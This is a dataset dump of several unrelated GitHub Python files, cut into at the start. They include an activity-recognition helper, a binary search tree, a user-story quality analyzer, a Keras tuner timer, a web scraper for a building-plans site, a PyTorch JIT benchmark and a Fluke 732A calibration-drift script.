list(labels[sensor+\"-Z\"].values)\n plt.plot(acceleration_time, GYRO_X, 'r', label=\"X-axis\")\n plt.plot(acceleration_time, GYRO_Y, 'b', label=\"Y-axis\")\n plt.plot(acceleration_time, GYRO_Z, 'g', label=\"Z-axis\")\n plt.legend(loc=\"upper right\")\n plt.xlabel(\"Time\")\n plt.ylabel(sensor)\n plt.show()\n\n\n## Define function\ndef fit_n_pred(clf_, X_tr, X_te, y_tr):\n \"\"\"Takes in Classifier, training data (X,y), and test data(X). Will output\n predictions based upon both the training and test data using the sklearn\n .predict method. MUST unpack into two variables (train, test).\"\"\"\n\n ## Fitting classifier to training data\n clf_.fit(X_tr, y_tr)\n\n ## Generate predictions for training + test data\n y_hat_trn = clf_.predict(X_tr)\n y_hat_tes = clf_.predict(X_te)\n\n ## Optional display check\n display(clf_)\n\n return y_hat_trn, y_hat_tes\n\n\n\ndef show_values(axs, orient=\"v\", space=.01):\n def _single(ax):\n if orient == \"v\":\n for p in ax.patches:\n _x = p.get_x() + p.get_width() / 2\n _y = p.get_y() + p.get_height() + (p.get_height()*0.01)\n value = '{:.1f}'.format(p.get_height())\n ax.text(_x, _y, value, ha=\"center\")\n elif orient == \"h\":\n for p in ax.patches:\n _x = p.get_x() + p.get_width() + float(space)\n _y = p.get_y() + p.get_height() - (p.get_height()*0.5)\n value = '{:.1f}'.format(p.get_width())\n ax.text(_x, _y, value, ha=\"left\")\n\n if isinstance(axs, np.ndarray):\n for idx, ax in np.ndenumerate(axs):\n _single(ax)\n else:\n _single(axs)\n\ndef evaluate(window_size, overlap, sampling_rate, feature_set, training_participants, testing_participants):\n segments = withoutLabelDF.rolling(window=window_size, center=True, min_periods=window_size).agg(\n ['min', 'max', 'sum', 'mean', 'std'])\n segments.columns = ['-'.join(tup).rstrip('-') for tup in segments.columns.values]\n segments = pd.concat([withoutTS.iloc[:, -1], segments], axis=1)\n segments = segments.dropna()\n segments = segments[::(int)(window_size * overlap)]\n return segments\n # do preprocessing, segmentation, classification for this configuration\n print(\"classification accuracy = x %\")\n # for each activity print recall, precision, Fl Score\n # ideally, store all the information for this configuration to a csv file\n # which is better for a Later evaluation\n\ndef evaluate(window, overlap, sampling_rate, feature_set, training_participants, testing_participants):\n # do preprocessing, segmentation, classification for this configuration\n print(\"classification accuracy = x %\")\n # for each activity print recall, precision, Fl Score\n # ideally, store all the information for this configuration to a csv file\n # which is better for a Later evaluation\nwindow_sizes = [0.2, 0.4, 0.5, 0.7, 0.9, 1.0]\noverlaps = [0, 0.25, 0.5, 0.75, 0.9, 'max']\nsampling_rates = [5, 10, 25, 35]\nfeature_sets = [[\"mean\", \"std\"], [\"mean\", \"std\", \"slope\", \"energy\"]]\ntraining_participants = [\"p_1\", \"p_2\"]\ntesting_participants = [\"p_3\", \"p_4\"]\n\nfor window in window_sizes:\n for overlap in overlaps:\n for sampling_rate in sampling_rates:\n for feature_set in feature_sets:\n evaluate(window, overlap, sampling_rate, feature_set, training_participants, testing_participants)","repo_name":"AmerAltizini/Activity_Recognition","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":4326,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"24787496377","text":"class Node:\n def __init__(self, key, value):\n self.key = key\n self.value = value\n self.left = None\n self.right = None\n\n\nclass BST:\n def __init__(self):\n self.root = None\n \n\n def search(self, key, currentNode = None):\n if currentNode is None:\n currentNode = self.root\n\n if currentNode is None:\n return None\n\n if currentNode.key == key:\n return currentNode.value\n \n if key < currentNode.key:\n return self.search(key, currentNode.left)\n \n if key > currentNode.key:\n return self.search(key, currentNode.right)\n\n \n def insert(self, key, value):\n if self.root is None:\n self.root = Node(key, value)\n return\n else:\n self.root = self.__insertRecu(key, value, self.root)\n return\n\n\n def __insertRecu(self, key, value, parentNode):\n if parentNode is None:\n return Node(key, value)\n \n if key < parentNode.key:\n parentNode.left = self.__insertRecu(key, value, parentNode.left)\n return parentNode\n \n elif key > parentNode.key:\n parentNode.right = self.__insertRecu(key, value, parentNode.right)\n return parentNode\n\n else:\n parentNode.value = value\n return parentNode\n\n\n def delete(self, key, currentNode = None):\n if currentNode is None:\n currentNode = self.root\n \n if currentNode is None:\n return None\n \n if key < currentNode.key:\n currentNode.left = self.delete(key, currentNode.left)\n return currentNode\n \n if key > currentNode.key:\n currentNode.right = self.delete(key, currentNode.right)\n return currentNode\n \n if key == currentNode.key:\n\n if currentNode.left is None and currentNode.right is None:\n return None\n\n if currentNode.left is None and currentNode.right is not None:\n return currentNode.right\n\n if currentNode.left is not None and currentNode.right is None:\n return currentNode.left\n\n else:\n deleteNode = currentNode\n succesorNode = currentNode.right\n\n while succesorNode.left is not None:\n succesorNode = succesorNode.left\n \n currentNode.key = succesorNode.key\n currentNode.value = succesorNode.value\n\n currentNode.right = self.delete(succesorNode.key, currentNode.right)\n\n return currentNode\n\n\n def print(self, node):\n if node is not None:\n self.print(node.left)\n print(node.key, node.value, end=',')\n self.print(node.right)\n\n\n def height(self):\n if self.root is None:\n return 0\n else:\n return self.__height(self.root)\n\n def __height(self, node):\n if node is None:\n return 0\n\n else:\n on_left = self.__height(node.left)\n on_right = self.__height(node.right)\n return max(on_left, on_right) + 1\n\n\n def print_tree(self):\n print(\"==============\")\n self.__print_tree(self.root, 0)\n print(\"==============\")\n\n\n def __print_tree(self, node, lvl):\n if node!=None:\n self.__print_tree(node.right, lvl+5)\n\n print()\n print(lvl*\" \", node.key, node.value)\n \n self.__print_tree(node.left, lvl+5)\n\n\ndef main():\n treeBST = BST()\n\n keys = [50, 15, 62, 5, 20, 58, 91, 3, 8, 37, 60, 24]\n\n value = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L']\n\n for i in range(len(keys)):\n treeBST.insert(keys[i], value[i])\n\n treeBST.print_tree()\n\n treeBST.print(treeBST.root)\n print()\n\n print(treeBST.search(24))\n\n treeBST.insert(20, 'AA')\n treeBST.insert(6, 'M')\n\n treeBST.delete(62)\n\n treeBST.insert(59, 'N')\n treeBST.insert(100, 'P')\n\n treeBST.delete(8)\n treeBST.delete(15)\n\n treeBST.insert(55, 'R')\n\n treeBST.delete(50)\n treeBST.delete(5)\n treeBST.delete(24)\n\n print(treeBST.height())\n\n treeBST.print(treeBST.root)\n\n print()\n \n treeBST.print_tree()\n\n\nif __name__ == '__main__':\n main()","repo_name":"patryklatka/data-structures-Python","sub_path":"Tree/BST.py","file_name":"BST.py","file_ext":"py","file_size_in_byte":4369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"40696753640","text":"import os\r\nimport nltk\r\nfrom nltk.corpus import wordnet\r\nfrom nltk.metrics import edit_distance\r\nimport re\r\nimport operator\r\nimport collections\r\nfrom corefiles.globals import *\r\nfrom corefiles.stories import *\r\n\r\nclass Analyzer:\r\n def atomic(story):\r\n for chunk in ['\"role\"', '\"means\"', '\"ends\"']:\r\n Analyzer.generate_defects('atomic', story, chunk=chunk)\r\n return story\r\n\r\n def unique(story,allStories):\r\n Analyzer.generate_defects('unique', story, allStories)\r\n return story\r\n\r\n def uniform(story,allStories):\r\n Analyzer.generate_defects('uniform', story, allStories)\r\n return story\r\n\r\n def generate_defects(kind, story, allStories=[], **kwargs):\r\n for kwarg in kwargs:\r\n exec(kwarg+'='+ str(kwargs[kwarg]))\r\n for defect_type in ERROR_KINDS[kind]:\r\n if eval(defect_type['rule']):\r\n add_defect(str(story.id), kind, defect_type['subkind'], eval(defect_type['highlight']), story.title)\r\n\r\n def atomic_rule(chunk, kind):\r\n sentences_invalid = []\r\n if chunk:\r\n for x in CONJUNCTIONS:\r\n if x in chunk.lower():\r\n if kind == 'means':\r\n for means in re.split(x, chunk, flags=re.IGNORECASE):\r\n if means:\r\n sentences_invalid.append(Analyzer.well_formed_content_rule(means, 'means', ['MEANS']))\r\n if kind == 'role':\r\n kontinue = True\r\n if x in ['&', '+']: kontinue = Analyzer.symbol_in_role_exception(chunk, x)\r\n if kontinue:\r\n for role in re.split(x, chunk, flags=re.IGNORECASE):\r\n if role:\r\n sentences_invalid.append(Analyzer.well_formed_content_rule(role, \"role\", [\"NP\"]))\r\n return sentences_invalid.count(False) > 1\r\n\r\n def symbol_in_role_exception(chunk, conjunction):\r\n surrounding_words = Analyzer.get_surrounding_words(chunk, conjunction)\r\n exception = [False, False, False]\r\n exception[0] = Analyzer.space_before_or_after_conjunction(chunk, conjunction)\r\n exception[1] = Analyzer.surrounding_words_bigger_than(3, surrounding_words)\r\n exception[2] = Analyzer.surrounding_words_valid(surrounding_words)\r\n return exception.count(True) >= 2\r\n\r\n def space_before_or_after_conjunction(chunk, conjunction):\r\n idx = chunk.lower().index(conjunction.lower())\r\n space = chunk[idx-1].isspace() or chunk[idx+len(conjunction)].isspace()\r\n return space\r\n\r\n def get_surrounding_words(chunk, conjunction):\r\n parts = chunk.split(conjunction)\r\n words = []\r\n for index, part in enumerate(parts):\r\n if index % 2 == 0:\r\n words += [part.split()[-1]]\r\n else:\r\n words += [part.split()[0]]\r\n return words\r\n\r\n def surrounding_words_bigger_than(number, word_array):\r\n result = False\r\n for word in word_array:\r\n if len(word) > number: result = True\r\n return result\r\n\r\n def surrounding_words_valid(word_array):\r\n result = False\r\n for word in word_array:\r\n if not wordnet.synsets(word): result = True\r\n return result\r\n\r\n\r\n def identical_rule(story, allStories):\r\n if allStories.has_story(story):\r\n return True\r\n return False\r\n\r\n def highlight_text(story, word_array, severity):\r\n indices = []\r\n for word in word_array:\r\n if word in story.title.lower(): indices += [ [story.title.lower().index(word), word] ]\r\n return Analyzer.highlight_text_with_indices(story.title, indices, severity)\r\n\r\n def highlight_text_with_indices(text, indices, severity):\r\n indices.sort(reverse=True)\r\n for index, word in indices:\r\n text = text[:index] + \" [*\" + word + \"*] \" + text[index+len(word):]\r\n return text\r\n\r\n # result indicates whether the story_part contains a well_formed error\r\n def well_formed_content_rule(story_part, kind, tags):\r\n result = Analyzer.content_chunk(story_part, kind)\r\n well_formed = True\r\n for tag in tags:\r\n for x in result.subtrees():\r\n if tag.upper() in x.label(): well_formed = False\r\n return well_formed\r\n\r\n def uniform_rule(story, allStories):\r\n project_format = allStories.format.split(',')\r\n chunks = []\r\n for chunk in ['role', 'means', 'ends']:\r\n chunks += [extract_indicator_phrases(getattr(story,chunk), chunk)]\r\n chunks = list(filter(None, chunks))\r\n chunks = [c.strip() for c in chunks]\r\n result = False\r\n if len(chunks) == 1: result = True\r\n for x in range(0,len(chunks)):\r\n if edit_distance(chunks[x].lower(), project_format[x].lower()) > 3:\r\n result = True\r\n return result\r\n\r\n def well_formed_content_highlight(story_part, kind):\r\n return str(Analyzer.content_chunk(story_part, kind))\r\n\r\n def content_chunk(chunk, kind):\r\n sentence = nltk.word_tokenize(chunk)\r\n sentence = nltk.pos_tag(sentence)\r\n sentence = Analyzer.strip_indicators_pos(chunk, sentence, kind)\r\n sentence = Analyzer.replace_tag_of_special_words(sentence)\r\n cp = nltk.RegexpParser(CHUNK_GRAMMAR)\r\n result = cp.parse(sentence)\r\n return result\r\n\r\n def replace_tag_of_special_words(sentence):\r\n index = 0\r\n for word in sentence:\r\n if word[0] in SPECIAL_WORDS:\r\n lst = list(sentence[index])\r\n lst[1] = SPECIAL_WORDS[word[0]]\r\n sentence[index] = tuple(lst)\r\n index+=1\r\n return sentence\r\n\r\n\r\n def strip_indicators_pos(text, pos_text, indicator_type):\r\n for indicator in eval(indicator_type.upper() + '_INDICATORS'):\r\n if indicator.lower().strip() in text.lower():\r\n indicator_words = nltk.word_tokenize(indicator)\r\n pos_text = [x for x in pos_text if x[0] not in indicator_words]\r\n return pos_text\r\n\r\n def get_common_format(all_stories):\r\n most_common_format = []\r\n for chunk in ['role', 'means', 'ends']:\r\n chunks = [extract_indicator_phrases(getattr(story,chunk), chunk) for story in all_stories.stories]\r\n chunks = list(filter(None, chunks))\r\n try:\r\n most_common_format += [collections.Counter(chunks).most_common(1)[0][0].strip()]\r\n except:\r\n print('')\r\n all_stories.format = ', '.join(most_common_format)\r\n if all_stories.format == \"\": all_stories.format = \"As a, I want to, So that\"\r\n return all_stories\r\n\r\nclass MinimalAnalyzer:\r\n def minimal(story):\r\n MinimalAnalyzer.punctuation(story)\r\n MinimalAnalyzer.brackets(story)\r\n MinimalAnalyzer.indicator_repetition(story)\r\n return story\r\n\r\n def punctuation(story):\r\n if any(re.compile('(\\%s .)' % x).search(story.title.lower()) for x in PUNCTUATION):\r\n highlight = MinimalAnalyzer.punctuation_highlight(story, 'high')\r\n add_defect(str(story.id), 'minimal', 'punctuation', highlight, story.title)\r\n return story\r\n\r\n def punctuation_highlight(story, severity):\r\n highlighted_text = story.title\r\n indices = []\r\n for word in PUNCTUATION:\r\n if re.search('(\\%s .)' % word, story.title.lower()): indices += [ [story.title.index(word), word] ]\r\n first_punct = min(indices)\r\n highlighted_text = highlighted_text[:first_punct[0]] + \" [*\" + highlighted_text[first_punct[0]:] + \"*] \"\r\n return highlighted_text\r\n\r\n def brackets(story):\r\n if any(re.compile('(\\%s' % x[0] + '.*\\%s(\\W|\\Z))' % x[1]).search(story.title.lower()) for x in BRACKETS):\r\n highlight = MinimalAnalyzer.brackets_highlight(story, 'high')\r\n add_defect(str(story.id), 'minimal', 'brackets', highlight, story.title)\r\n return story\r\n\r\n def brackets_highlight(story, severity):\r\n highlighted_text = story.title\r\n matches = []\r\n for x in BRACKETS:\r\n split_string = '[^\\%s' % x[1] + ']+\\%s' % x[1]\r\n strings = re.findall(split_string, story.title)\r\n match_string = '(\\%s' % x[0] + '.*\\%s(\\W|\\Z))' % x[1]\r\n string_length = 0\r\n for string in strings:\r\n result = re.compile(match_string).search(string.lower())\r\n if result:\r\n span = tuple(map(operator.add, result.span(), (string_length, string_length)))\r\n matches += [ [span, result.group()] ]\r\n string_length += len(string)\r\n matches.sort(reverse=True)\r\n for index, word in matches:\r\n highlighted_text = highlighted_text[:index[0]] + \" [*\" + word + \"*] \" + highlighted_text[index[1]:]\r\n return highlighted_text\r\n\r\n def indicator_repetition(story):\r\n from corefiles.stories import StoryChunker\r\n indicators = StoryChunker.detect_all_indicators(story)\r\n for indicator in indicators: indicators[indicator] = StoryChunker.remove_overlapping_tuples(indicators[indicator])\r\n indicators = MinimalAnalyzer.remove_indicator_repetition_exceptions(indicators, story)\r\n for indicator in indicators:\r\n if len(indicators[indicator]) >= 2:\r\n highlight = MinimalAnalyzer.indicator_repetition_highlight(story.title, indicators[indicator], 'high')\r\n add_defect(str(story.id), 'minimal', 'indicator_repetition', highlight, story.title)\r\n return story\r\n\r\n def indicator_repetition_highlight(text, ranges, severity):\r\n indices = []\r\n for rang in ranges:\r\n indices += [[rang[0], text[ rang[0]:rang[1] ] ]]\r\n return Analyzer.highlight_text_with_indices(text, indices, severity)\r\n\r\n def remove_indicator_repetition_exceptions(indicators, story):\r\n # exception #1: means indicator after ends indicator\r\n for means_indicator in indicators['means']:\r\n for ends_indicator in indicators['ends']:\r\n if ends_indicator[1] >= means_indicator[0] and ends_indicator[1] <= means_indicator[1]:\r\n indicators['means'].remove(means_indicator)\r\n return indicators\r\n","repo_name":"RELabUU/aqusa-core","sub_path":"corefiles/analyzer.py","file_name":"analyzer.py","file_ext":"py","file_size_in_byte":9432,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"70"} +{"seq_id":"57347299","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('', views.dashboard, name='dashboard'),\n path('show', views.show, name='show'),\n path('services', views.services, name='services'),\n path('net_view/', views.network_views, name='net_view'),\n path('check_view/', views.checks_view, name='check_view'),\n]","repo_name":"walidamer711/netops","sub_path":"dashboard/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":359,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"3553053410","text":"import keras\nimport time\n\nfrom tensorflow.keras import backend as K\nfrom kerastuner.tuners import RandomSearch\n\ndef coeff_determination(y_true, y_pred):\n SS_res = K.sum(K.square(y_true - y_pred))\n SS_tot = K.sum(K.square(y_true - K.mean(y_true)))\n return (1 - SS_res / (SS_tot + K.epsilon()))\n\n\nclass TimeHistory(keras.callbacks.Callback):\n def on_train_begin(self, logs={}):\n self.times = []\n\n def on_epoch_begin(self, epoch, logs={}):\n self.epoch_time_start = time.time()\n\n def on_epoch_end(self, epoch, logs={}):\n self.times.append(time.time() - self.epoch_time_start)\n\n\nclass RandomSearchWithTimer(RandomSearch):\n def __init__(\n self,\n hypermodel=None,\n objective=None,\n max_trials=10,\n seed=None,\n hyperparameters=None,\n tune_new_entries=True,\n allow_new_entries=True,\n **kwargs\n ):\n self.times = []\n self.epochs = []\n super().__init__(\n hypermodel=hypermodel,\n objective=objective,\n max_trials=max_trials,\n seed=seed,\n hyperparameters=hyperparameters,\n tune_new_entries=tune_new_entries,\n allow_new_entries=allow_new_entries,\n **kwargs\n )\n\n def run_trial(self, trial, *args, **kwargs):\n trial_start = time.time()\n histories = super().run_trial(trial, *args, **kwargs)\n trial_end = time.time()\n trial_time = trial_end - trial_start\n self.times.append(trial_time)\n self.epochs.append(len(histories[0].epoch))\n return histories","repo_name":"heseba/leonid","sub_path":"shared.py","file_name":"shared.py","file_ext":"py","file_size_in_byte":1642,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"11292613814","text":"from distutils.core import Extension\nfrom collections import defaultdict\n\n\ndef get_extensions():\n import numpy as np\n\n exts = []\n\n # malloc\n mac_incl_path = \"/usr/include/malloc\"\n\n cfg = defaultdict(list)\n cfg['include_dirs'].append(np.get_include())\n cfg['include_dirs'].append(mac_incl_path)\n cfg['include_dirs'].append('gala/potential')\n cfg['extra_compile_args'].append('--std=gnu99')\n cfg['sources'].append('gala/potential/hamiltonian/chamiltonian.pyx')\n cfg['sources'].append('gala/potential/hamiltonian/src/chamiltonian.c')\n cfg['sources'].append('gala/potential/potential/src/cpotential.c')\n exts.append(Extension('gala.potential.hamiltonian.chamiltonian', **cfg))\n\n return exts\n\n\ndef get_package_data():\n\n return {'gala.potential.hamiltonian':\n ['src/*.h', 'src/*.c', '*.pyx', '*.pxd']}\n","repo_name":"adrn/gala","sub_path":"gala/potential/hamiltonian/setup_package.py","file_name":"setup_package.py","file_ext":"py","file_size_in_byte":852,"program_lang":"python","lang":"en","doc_type":"code","stars":112,"dataset":"github-code","pt":"70"} +{"seq_id":"17406254737","text":"#!/bin/python3\n\n# Complete the 'isBalanced' function below.\n#\n# The function is expected to return a STRING.\n# The function accepts STRING brackets as parameter.\ndef isBalanced(brackets):\n stack = []\n open_brackets = [\"[\",\"{\",\"(\"]\n close_brackets = [\"]\",\"}\",\")\"]\n\n for i in brackets:\n if i in open_brackets:\n stack.append(i)\n elif i in close_brackets:\n pos = close_brackets.index(i)\n if ((len(stack) > 0) and # verifico se a quantidade de items é maior que 0\n (open_brackets[pos] == stack[len(stack)-1])): # e se a quantidade de item da close_brackets é a mesma da open_brackets\n stack.pop()\n else:\n return \"NO\"\n if len(stack) == 0:\n return \"YES\"\n else:\n return \"NO\"\n\nif __name__ == '__main__':\n\n t = int(input().strip())\n\n results = []\n for t_itr in range(t):\n brackets = input()\n\n results.append(isBalanced(brackets))\n\n print(*results, sep='\\n')\n","repo_name":"raphaelmelo/desafio-back","sub_path":"balanced_brackets.py","file_name":"balanced_brackets.py","file_ext":"py","file_size_in_byte":1011,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"34025112551","text":"import torch\nfrom helpers.basic_model import LinearModel\nfrom helpers.basic_conv_model import ConvModel\nfrom helpers.timer import TimeIt\nimport json\n\nmodels_input_shape = (\n [\n lambda: LinearModel(256).eval(),\n lambda batch_size: (batch_size, 256),\n ],\n [\n lambda: ConvModel().eval(),\n lambda batch_size: (batch_size, 3, 32, 32),\n ]\n)\n\ndevice = torch.device('cuda') if torch.cuda.is_available() else torch.device('cpu')\ndata = {}\n\nfor (create_model, shape_creator) in models_input_shape:\n non_jit = TimeIt('non_jit')\n jit = TimeIt('jit')\n\n model = create_model().to(device)\n jit_model = create_model().to(device)\n\n jit_model.load_state_dict(model.state_dict())\n jit_model = torch.jit.optimize_for_inference(torch.jit.script(\n jit_model\n ))\n\n batch_size = 1024\n X = torch.rand(shape_creator(batch_size,)).to(device)\n\n for i in range(100):\n with non_jit() as x:\n model(X)\n\n with jit() as x:\n jit_model(X)\n\n data[model.__class__.__name__] = {\n \"non_jit\": sum(non_jit.times),\n \"jit\": sum(jit.times)\n }\n print(data)\n\nwith open(f\"torch_{torch.__version__}.json\", \"w\") as file:\n json.dump(\n data,\n file\n )\n","repo_name":"2xic/optimization-playground","sub_path":"notes/infrastructure/tools/pytorch_2_benchmark/jit_vs_non_jit_speed.py","file_name":"jit_vs_non_jit_speed.py","file_ext":"py","file_size_in_byte":1255,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"5307780756","text":"from urllib.request import Request, urlopen\nfrom bs4 import BeautifulSoup,Tag\nimport re\n\nnumber_menu_pages = 9\n\nmenu_base = \"https://www.buildeazy.com/category/free-plans/page/\"\n\nfor menu_num in range(1,number_menu_pages):\n url = menu_base + str(menu_num)\n req = Request(url, headers={'User-Agent': 'Mozilla/5.0'})\n try:\n mybytes = urlopen(req)\n except:\n break\n soup=BeautifulSoup(mybytes,'html.parser')\n\n\n for article in soup.findAll('article',{'class':re.compile('post-')}):\n try:\n link = article.find('a', {'class':'entry-title-link'})['href']\n except:\n continue\n try:\n page_nums = article.findAll('a', {'class':'post-page-numbers'})\n num_pages = int(page_nums[len(page_nums)-1].text[len('Page '):])\n except:\n num_pages = 1\n print(link, num_pages)\n \n\n\n\n url_base = link\n n = num_pages\n\n elements = [\n {'1stpageonly':True,'name':'div','attributes':{'class':'authority-featured-image'}},\n {'1stpageonly':True,'name':'header','attributes':{'class':'entry-header'}},\n {'1stpageonly':True,'name':'div','attributes':{'id':'toc-np-container'}},\n {'1stpageonly':False,'name':'nav','attributes':{'id':'genesis-nav-social'}},\n {'1stpageonly':False,'name':'header','attributes':{'class':'site-header'}},\n {'1stpageonly':False,'name':'section','attributes':{'class':'author-box'}},\n {'1stpageonly':False,'name':'div','attributes':{'class':'entry-comments'}},\n {'1stpageonly':False,'name':'div','attributes':{'class':'comment-respond'}},\n {'1stpageonly':False,'name':'div','attributes':{'class':'footer-widgets'}},\n {'1stpageonly':False,'name':'footer','attributes':{'class':'site-footer'}},\n {'1stpageonly':False,'name':'div','attributes':{'id':'ez-cookie-dialog'}},\n {'1stpageonly':False,'name':'script','attributes':{'type':'text/javascript'}},\n {'1stpageonly':False,'name':'span','attributes':{'class':re.compile('ezoic-ad')}},\n {'1stpageonly':False,'name':'h2','attributes':{'class':'screen-reader-text'}},\n {'1stpageonly':False,'name':'ul','attributes':{'class':'genesis-skip-link'}},\n {'1stpageonly':False,'name':'script','attributes':{}},\n {'1stpageonly':False,'name':'div','attributes':{'class':'ezmob-footer ezoic-floating-bottom ezo_ad ezmob-footer-desktop'}}\n\n ]\n\n f_output = open(url_base[url_base.find('/',url_base.find('/',url_base.find('/')+1)+1)+1:url_base.rfind('/')]+\".html\", \"wb\")\n for j in range(1,n+1):\n url = url_base + str(j)\n req = Request(url, headers={'User-Agent': 'Mozilla/5.0'})\n mybytes = urlopen(req)\n soup=BeautifulSoup(mybytes,'html.parser')\n\n for element in elements:\n if element['1stpageonly'] == True and j==1:\n continue\n try:\n for i in soup.findAll(element['name'], element['attributes']):\n i.decompose()\n except:\n print(j, element['name'], element['attributes'])\n\n\n for i in soup.findAll('img'):\n try:\n i['src'] = i['data-lazy-src']\n except:\n continue\n \n \n f_output.write(soup.prettify(\"utf-8\")) \n","repo_name":"di0g0a1v3s/Webscrappers-in-Python","sub_path":"buildeazy.py","file_name":"buildeazy.py","file_ext":"py","file_size_in_byte":3481,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"9372658508","text":"# Progressões Aritméticas | Matemática com Python\n# Python Café - Hallison Paz\n\n\ndef pa_termo(a0, r, n):\n return a0 + n*r\n\ndef pa_soma(a0, r, n):\n soma = 0\n for i in range(n+1):\n soma = soma + pa_termo(a0, r, n)\n return soma\n\n\ntermo_inicial = int(input(\"Termo inicial da PA: \"))\nrazao = int(input(\"Razão da PA: \"))\nn = int(input(\"Posição (N): \"))\n\nprint(\"N-ésimo termo:\", pa_termo(termo_inicial, razao, n))\nprint(\"Soma da PA:\", pa_soma(termo_inicial, razao, n))\n","repo_name":"python-cafe/matematica_python","sub_path":"progressoes/progressoes.py","file_name":"progressoes.py","file_ext":"py","file_size_in_byte":489,"program_lang":"python","lang":"pt","doc_type":"code","stars":4,"dataset":"github-code","pt":"70"} +{"seq_id":"1539698696","text":"# Create and add a group that handles the geometry for the\n# aerodynamic lifting surface\ngeom_group = Geometry(surface=surface)\nprob.model.add_subsystem(surface[\"name\"], geom_group)\n\n# Create the aero point group, which contains the actual aerodynamic\n# analyses\naero_group = AeroPoint(surfaces=[surface])\npoint_name = \"aero_point_0\"\nprob.model.add_subsystem(point_name, aero_group, promotes_inputs=[\"v\", \"alpha\", \"Mach_number\", \"re\", \"rho\", \"cg\"])\n\nname = surface[\"name\"]\n\n# Connect the mesh from the geometry component to the analysis point\nprob.model.connect(name + \".mesh\", point_name + \".\" + name + \".def_mesh\")\n\n# Perform the connections with the modified names within the\n# 'aero_states' group.\nprob.model.connect(name + \".mesh\", point_name + \".aero_states.\" + name + \"_def_mesh\")\n\nprob.model.connect(name + \".t_over_c\", point_name + \".\" + name + \"_perf.\" + \"t_over_c\")\n","repo_name":"mdolab/OpenAeroStruct","sub_path":"openaerostruct/docs/aero_walkthrough/part_4.py","file_name":"part_4.py","file_ext":"py","file_size_in_byte":877,"program_lang":"python","lang":"en","doc_type":"code","stars":157,"dataset":"github-code","pt":"70"} +{"seq_id":"8545652973","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on <2021-06-01 Tue>.\n\npython scripts for Fluke 732A 10V Ref Object and relate function\n\nFluke 734A csv data file format\nmodel\nS/N\nCal_Date,Measure,Uncr,Uncrr_Unit,k\n\n@author: tskdkim\n\"\"\"\n\n\n# Futures\nfrom __future__ import print_function\n\n# Built-in/Generic Imports\nimport os\n# import sys\n# from pathlib import Path\n\n# from datetime import datetime\n# import importlib\n# import numpy as np\n# import matplotlib\n\n# import csv\n# import dash\n# import dash_core_components as dcc\n# import dash_html_components as html\n# from dash.dependencies import Output, Input\n# import plotly.express as px\n# import plotly.graph_objects as go\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# Own modules\nfrom files import get_data_path, read_csv\n# from myFile import DF_csv\n# from myTime import My_timeDate\n# from fund_class import Fund\n# from index_class import Idx\n\n# Package\nfrom scipy.optimize import curve_fit\nfrom scipy import stats\nimport statsmodels.api as sm\n\n# from {path} import {class}\n\n\n\"\"\"\nHelp function\n\"\"\"\n\n\ndef read_data(fn):\n \"\"\"Read Cal Data from csv file.\n\n fn: String file name with full path\n row1: model\n row2: S/N\n row3: columns\n below row 3, calibration data corresponding\n columns on row3\n Return model, sn, list of columns and Data Frame\n \"\"\"\n # Read csv file\n alist = read_csv(fn)\n # Information of unit, Model, S/N, Unit\n infor = alist.pop(0)\n cols = alist.pop(0)\n\n # Get index of columns to Convert float\n # and Date\n num_cols_inds = [cols.index(\"Nominal\"),\n cols.index(\"Measure\"),\n cols.index(\"Uncer_95\")]\n\n for vals in alist:\n # Iterate data list and converter it\n # as proper data type\n for i in range(len(vals)):\n # Iterate list of each row\n if i in num_cols_inds:\n # Convert it as float\n vals[i] = float(vals[i])\n\n # Create Data Frame for data\n data = pd.DataFrame(alist,\n columns=cols)\n # Convert Cal_Data to time_date,\n data[\"Cal_Date\"] = pd.to_datetime(data[\"Cal_Date\"],\n format='%d-%b-%Y')\n # Return Model, S/N, columns, and Calibration Data\n return infor, data\n\n\n\"\"\"\nFunction for linear approximation\n\"\"\"\n\n\ndef first_order_func(x, a, b):\n \"\"\"For linear Approximation.\n\n x: List or array, independence variable\n a: Float, coefficient of first order x\n b: Float, intercept of linear approximation\n \"\"\"\n return a*x + b\n\n\n\"\"\"\nClass of Fluke 732A 10V REF\n\"\"\"\n\n\n# Test Code\n\n\n\"\"\"\nRead csv file\n\"\"\"\n\n# Get data file full path and file name\nf_name = 'Fluke_732A70001.csv'\ndata_dir = 'data'\nfn = get_data_path(os.getcwd(),\n data_dir,\n f_name)\n\n# Read CSV file of Fluke_732A34567.csv\ninfor, data = read_data(fn)\n\n# difference from nominal\ny = data.Measure - data.Nominal\n\n\n\"\"\"\nUse Best fit of scipy.\nCalculated Best Fit\n\"\"\"\n\n\n# Get difference as days of calibration date\ncal_days = [0] # Set initial daty as 0\n# cal_days = [] # Set initial daty as 0\nfor i in range(len(data.Cal_Date) - 1):\n # Iterate Cal Date\n delta = data.Cal_Date[i+1] - data.Cal_Date[i]\n # cal_days.append(delta.days)\n cal_days.append(cal_days[-1] + delta.days)\n\ncal_days = np.array(cal_days)\n\n# Get linear approximation line\npopt, pcov = curve_fit(first_order_func,\n cal_days,\n y)\n# Linear fit\nlinear_fit_y = first_order_func(cal_days, *popt)\n\n\n\"\"\"\nGet prediction interval\ny_0 +- t_crit * se\n\ny_0: predicted value from linear approximation\nt_crit: Inverse of the Student's t-distribution\nse: standard error of the prediction\n s_yx * sqrt(1 + 1/n + ((x-x_mean)^2/ sample mean of x))\n\"\"\"\n\n\n# Get 